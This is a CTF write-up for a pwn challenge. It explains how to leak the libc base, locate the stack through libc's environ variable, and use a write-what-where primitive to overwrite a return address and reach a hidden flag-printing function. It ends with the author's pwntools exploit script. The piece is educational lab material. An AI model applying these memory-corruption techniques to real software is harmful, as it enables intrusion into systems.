Tags: pwn
Rating:
In this challenge, you're able to "Recycle" or "Plant". If you throw the binary into Ghidra, you can look at each of the functions.
In addition, if you look at all the strings available in the binary in Ghidra, you'll find that there's a reference to `flag.txt`. You can also see a `hidden_resources` function which writes the contents of `flag.txt` to stdout and beating the challenge. Therefore, the goal isn't to get a shell but to hit that `hidden_resource` function (some call this a `ret2win` challenge).
Looking at the "Recycle" function in Ghidra, you can see that there are if/else clauses that boil down to:
1. If you have recycled more than 5 times, you get the address of the `print()` function
2. If you have recycled more than 10 times, you get to choose an address that the binary will print the contents of
In item 1, getting the address of the `print()` function will essentially give you the `libc` base address.
However, there's no buffer overflow to utilize so you can't exactly ROP chain yourself to a `system()` function or anything.
The "Plant" function will allow you to do something similar though; it will allow you to write anything anywhere (commonly refered to as a "write-what-where" primitive). The question is _what_ do you want to write and _to where_.
(During the challenge, I tried to write to the GOT address of `exit()` and therefore when `exit()` runs, it'll run `system()` instead. However, there was "Full RELRO" protection on the binary meaning that overwriting the GOT is not a viable exploit path at this time)
Well, what does a buffer overflow actually _do_? You're writing content into the stack until it reaches the `rbp + 0x8` address so that when the function's `ret` instruction is called, it will jump to whatever you put in `rbp + 0x8` (because it becomes the `rip` register). So what if we use our write-what-where primitive to write _directly_ to the `rbp + 0x8` address?
Too bad we don't have a stack leak (like `glibc`, it too will use virtual address space where the first 3 words are randomized by the OS (or maybe it was more than 3 words- I don't recall. Offsets are the same but prefixes will not be))
I learned during the CTF (just Googling around and ending up here: https://github.com/Naetw/CTF-pwn-tips#leak-stack-address) that there exists a variable in `libc` that stores the address of a part of the stack. This is the `environ` variable. If you have a `libc` base address, you can easily get where the `environ` variable is.
So, so far we've gotten `glibc`'s base address by using the line item 1 from the beginning of the writeup. We "Recycle" 5 more times and we are given an opportunity to choose any address we want and the binary will tell us its contents. With what we've learned, we ask the binary for the contents of the `environ` variable. This will give us a stack address. Since the offsets will always be the same, we can get our `rbp + 0x8` address just using the stack address that we glean.
Getting the right offset took a bit of trial and error because while it would work locally on my machine, it didn't work right off the bat on the remote machine (likely due to slightly different OS' or something like that...)
Ultimately though, you will write ("Plant") to `rsp + 0x8` the address of the `hidden_resources` function.
Below is the exploit code I used. It's based off of a `pwntools` template:
```
io = start()
def www(what, where):
io.sendlineafter("> ", "1")
io.sendlineafter("> ", str(where))
io.sendlineafter("> ", str(what))
#www(exe.sym.hidden_resources, exe.sym.got.exit) # can't simply overwrite GOT - full RELRO
"""
Here, we leak glibc and get its base address
"""
for i in range(0, 6):
# Get a printf leak
io.sendlineafter("> ", "2")
io.sendlineafter("> ", "1")
io.sendlineafter("> ", "n")
io.recvline()
leak = io.recvline()
leak = leak.strip().split(b"[0x")[-1].split(b"]")[0]
leak = int(leak, 16)
log.info("print @ {}".format(hex(leak)))
libc.address = leak - 0x064f70
log.info("libc base @ {}".format(hex(libc.address)))
"""
The environ variable in glibc will always be at a certain offset from the base address
"""
# github.com/Naetw/CTF-pwn-tips#leak-stack-address
environ = libc.address + 0x00000000003ee098
for i in range(0, 4):
# Get a printf leak
io.sendlineafter("> ", "2")
io.sendlineafter("> ", "1")
io.sendlineafter("> ", "n")
"""
We now have a stack address
"""
io.sendlineafter("> ", str(environ))
leak = io.recvline()
leak = leak[4:-1]
leak = u64(leak.ljust(8, b'\0'))
log.info("stack leak @ {}".format(hex(leak)))
pause()
"""
Testing different offsets between 0x110 and 0x130- 0x118 works on my machine but 0x120 is what worked on the remote. Since addresses are usually 1 dword (0x*) off sometimes, it's best to try +/- 0x8 first
"""
#rip = leak - 0x118
rip = leak - 0x120
#www(0xdeadbeef, rip) # test with 0xdeadbeef
www(exe.sym.hidden_resources, rip)
io.interactive()
```